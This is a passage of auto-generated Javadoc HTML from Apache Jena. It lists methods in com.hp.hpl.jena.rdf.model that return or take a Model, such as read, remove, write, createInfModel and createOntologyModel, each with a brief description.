class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang)</code> <div class="block">Add RDF statements represented in language <code>lang</code> to the model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base)</code> <div class="block">Using this method is often a mistake.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang)</code> <div class="block">Using this method is often a mistake.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <div class="block">Add the RDF statements from an XML document.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang)</code> <div class="block">Add statements from a serializion in language <code>lang</code> to the model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang)</code> <div class="block">Read into this model the RDF at <code>url</code>, using <code>baseURI</code> as the base URI if it is non-null.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelReader.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelReader.html#readModel(com.hp.hpl.jena.rdf.model.Model, java.lang.String)">readModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;toRead, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;URL)</code> <div class="block">Read the contents of <code>URL</code> into <code>toRead</code> and answer <code>toRead</code>,</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#register(com.hp.hpl.jena.rdf.model.<API key>)">register</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/<API key>.html" title="interface in com.hp.hpl.jena.rdf.model"><API key></a>&nbsp;listener)</code> <div class="block">Register a listener for model-changed events on this model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <div class="block">Remove all the statements in the list from this model, using the bulk update interface.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#remove(com.hp.hpl.jena.rdf.model.Model)">remove</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Remove all the Statements in a given model, including reified statements</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#remove(com.hp.hpl.jena.rdf.model.Model, boolean)">remove</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, boolean&nbsp;<API key>)</code> <div class="block"><strong>Deprecated.</strong>&nbsp; <div class="block"><i><API key> now longer has any meaning or effect</i></div> </div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#remove(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, com.hp.hpl.jena.rdf.model.RDFNode)">remove</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/RDFNode.html" title="interface in com.hp.hpl.jena.rdf.model">RDFNode</a>&nbsp;o)</code> <div class="block">remove the statement <code>(s, p, o)</code> from this model and answer this model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#remove(com.hp.hpl.jena.rdf.model.Statement)">remove</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Statement.html" title="interface in com.hp.hpl.jena.rdf.model">Statement</a>&nbsp;s)</code> <div class="block">Removes a statement.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#remove(com.hp.hpl.jena.rdf.model.Statement[])">remove</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Statement.html" title="interface in com.hp.hpl.jena.rdf.model">Statement</a>[]&nbsp;statements)</code> <div class="block">Remove all the statements from the Model, using the bulk update interface.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#remove(com.hp.hpl.jena.rdf.model.StmtIterator)">remove</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/StmtIterator.html" title="interface in com.hp.hpl.jena.rdf.model">StmtIterator</a>&nbsp;iter)</code> <div class="block">Remove all the Statements returned by an iterator.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#removeAll()">removeAll</a></strong>()</code> <div class="block">Remove all the statements from this model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#removeAll(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, com.hp.hpl.jena.rdf.model.RDFNode)">removeAll</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/RDFNode.html" title="interface in com.hp.hpl.jena.rdf.model">RDFNode</a>&nbsp;r)</code> <div class="block">Remove all the statements matching (s, p, o) from this model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#union(com.hp.hpl.jena.rdf.model.Model)">union</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Create a new, independant, model containing all the statements in this model together with all of those in another given model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#unregister(com.hp.hpl.jena.rdf.model.<API key>)">unregister</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/<API key>.html" title="interface in com.hp.hpl.jena.rdf.model"><API key></a>&nbsp;listener)</code> <div class="block">Unregister a listener from model-changed events on this model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#<API key>(com.hp.hpl.jena.rdf.model.Model)"><API key></a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block"><strong>Deprecated.</strong>&nbsp; <div class="block"><i>Hidden partial reifications not supported -- only style "Standard"</i></div> </div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <div class="block">Write a serialization of this model as an XML document.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang)</code> <div class="block">Write a serialized represention of this model in a specified language.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base)</code> <div class="block">Write a serialized represention of a model in a specified language.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <div class="block">Write the model as an XML document.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang)</code> <div class="block">Write a serialized represention of a model in a specified language.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base)</code> <div class="block">Write a serialized represention of a model in a specified language.</div> </td> </tr> </tbody> </table> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/rdf/model/package-summary.html">com.hp.hpl.jena.rdf.model</a> with parameters of type <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#add(com.hp.hpl.jena.rdf.model.Model)">add</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Add all the statements in another model to this model, including the reified statements.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#add(com.hp.hpl.jena.rdf.model.Model, boolean)">add</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, boolean&nbsp;<API key>)</code> <div class="block"><strong>Deprecated.</strong>&nbsp; <div class="block"><i><API key> no longer has any effect.</i></div> </div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/<API key>.html#addedStatements(com.hp.hpl.jena.rdf.model.Model)">addedStatements</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Method to call when a model has been used to define the statements to be added to our attached model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#assembleModelFrom(com.hp.hpl.jena.rdf.model.Model)">assembleModelFrom</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;singleRoot)</code> <div class="block">Answer a Model constructed from the single resource in <code>singleRoot</code> of type <code>ja:Model</code>.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/graph/TripleBoundary.html" title="interface in com.hp.hpl.jena.graph">TripleBoundary</a></code></td> <td class="colLast"><span class="strong">StatementBoundary.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/StatementBoundary.html#asTripleBoundary(com.hp.hpl.jena.rdf.model.Model)">asTripleBoundary</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Answer a TripleBoundary corresponding to this StatementBoundary, where Triples may be converted to Statements using <code>m</code>.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/graph/TripleBoundary.html" title="interface in com.hp.hpl.jena.graph">TripleBoundary</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/<API key>.html#asTripleBoundary(com.hp.hpl.jena.rdf.model.Model)">asTripleBoundary</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Expresses this StatementBoundary as a TripleBoundary.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/graph/TripleBoundary.html" title="interface in com.hp.hpl.jena.graph">TripleBoundary</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/<API key>.html#asTripleBoundary(com.hp.hpl.jena.rdf.model.Model)">asTripleBoundary</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;ignored)</code> <div class="block">Answer the <API key> TripleBoundary.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>boolean</code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#containsAll(com.hp.hpl.jena.rdf.model.Model)">containsAll</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Determine if all of the statements in a model are also contained in this model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>boolean</code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#containsAny(com.hp.hpl.jena.rdf.model.Model)">containsAny</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Determine if any of the statements in a model are also contained in this model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/graph/TripleBoundary.html" title="interface in com.hp.hpl.jena.graph">TripleBoundary</a></code></td> <td class="colLast"><span class="strong"><API key>.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/<API key>.html#convert(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.StatementBoundary)">convert</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/StatementBoundary.html" title="interface in com.hp.hpl.jena.rdf.model">StatementBoundary</a>&nbsp;b)</code> <div class="block">Answer a TripleBoundary that is implemented in terms of a StatementBoundary.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/InfModel.html" title="interface in com.hp.hpl.jena.rdf.model">InfModel</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#createInfModel(com.hp.hpl.jena.reasoner.Reasoner, com.hp.hpl.jena.rdf.model.Model)">createInfModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/reasoner/Reasoner.html" title="interface in com.hp.hpl.jena.reasoner">Reasoner</a>&nbsp;reasoner, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Build an inferred model by attaching the given RDF model to the given reasoner.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/InfModel.html" title="interface in com.hp.hpl.jena.rdf.model">InfModel</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#createInfModel(com.hp.hpl.jena.reasoner.Reasoner, com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Model)">createInfModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/reasoner/Reasoner.html" title="interface in com.hp.hpl.jena.reasoner">Reasoner</a>&nbsp;reasoner, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;schema, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Build an inferred model by attaching the given RDF model to the given reasoner.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html" title="interface in com.hp.hpl.jena.ontology">OntModel</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#createOntologyModel(com.hp.hpl.jena.ontology.OntModelSpec, com.hp.hpl.jena.rdf.model.Model)">createOntologyModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/ontology/OntModelSpec.html" title="class in com.hp.hpl.jena.ontology">OntModelSpec</a>&nbsp;spec, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;base)</code> <div class="block"> Answer a new ontology model, constructed according to the given ontology model specification, and starting with the ontology data in the given model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html" title="interface in com.hp.hpl.jena.ontology">OntModel</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#createOntologyModel(com.hp.hpl.jena.ontology.OntModelSpec, com.hp.hpl.jena.rdf.model.ModelMaker, com.hp.hpl.jena.rdf.model.Model)">createOntologyModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/ontology/OntModelSpec.html" title="class in com.hp.hpl.jena.ontology">OntModelSpec</a>&nbsp;spec, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelMaker.html" title="interface in com.hp.hpl.jena.rdf.model">ModelMaker</a>&nbsp;maker, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;base)</code> <div class="block"> Answer a new ontology model which will process in-memory models of ontologies expressed the default ontology language (OWL).</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/InfModel.html" title="interface in com.hp.hpl.jena.rdf.model">InfModel</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#createRDFSModel(com.hp.hpl.jena.rdf.model.Model)">createRDFSModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Return a Model through which all the RDFS entailments derivable from the given model are accessible.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/InfModel.html" title="interface in com.hp.hpl.jena.rdf.model">InfModel</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#createRDFSModel(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Model)">createRDFSModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;schema, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Return a Model through which all the RDFS entailments derivable from the given data and schema models are accessible.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#createUnion(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Model)">createUnion</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m1, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m2)</code> <div class="block">Answer a new model that is the dynamic union of two other models.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#difference(com.hp.hpl.jena.rdf.model.Model)">difference</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Create a new, independant, model containing all the statements in this model which are not in another.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelExtract.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelExtract.html#extract(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Model)">extract</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;r, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;s)</code> <div class="block">Answer the rooted sub-model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelExtract.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelExtract.html#extractInto(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Model)">extractInto</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;r, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in 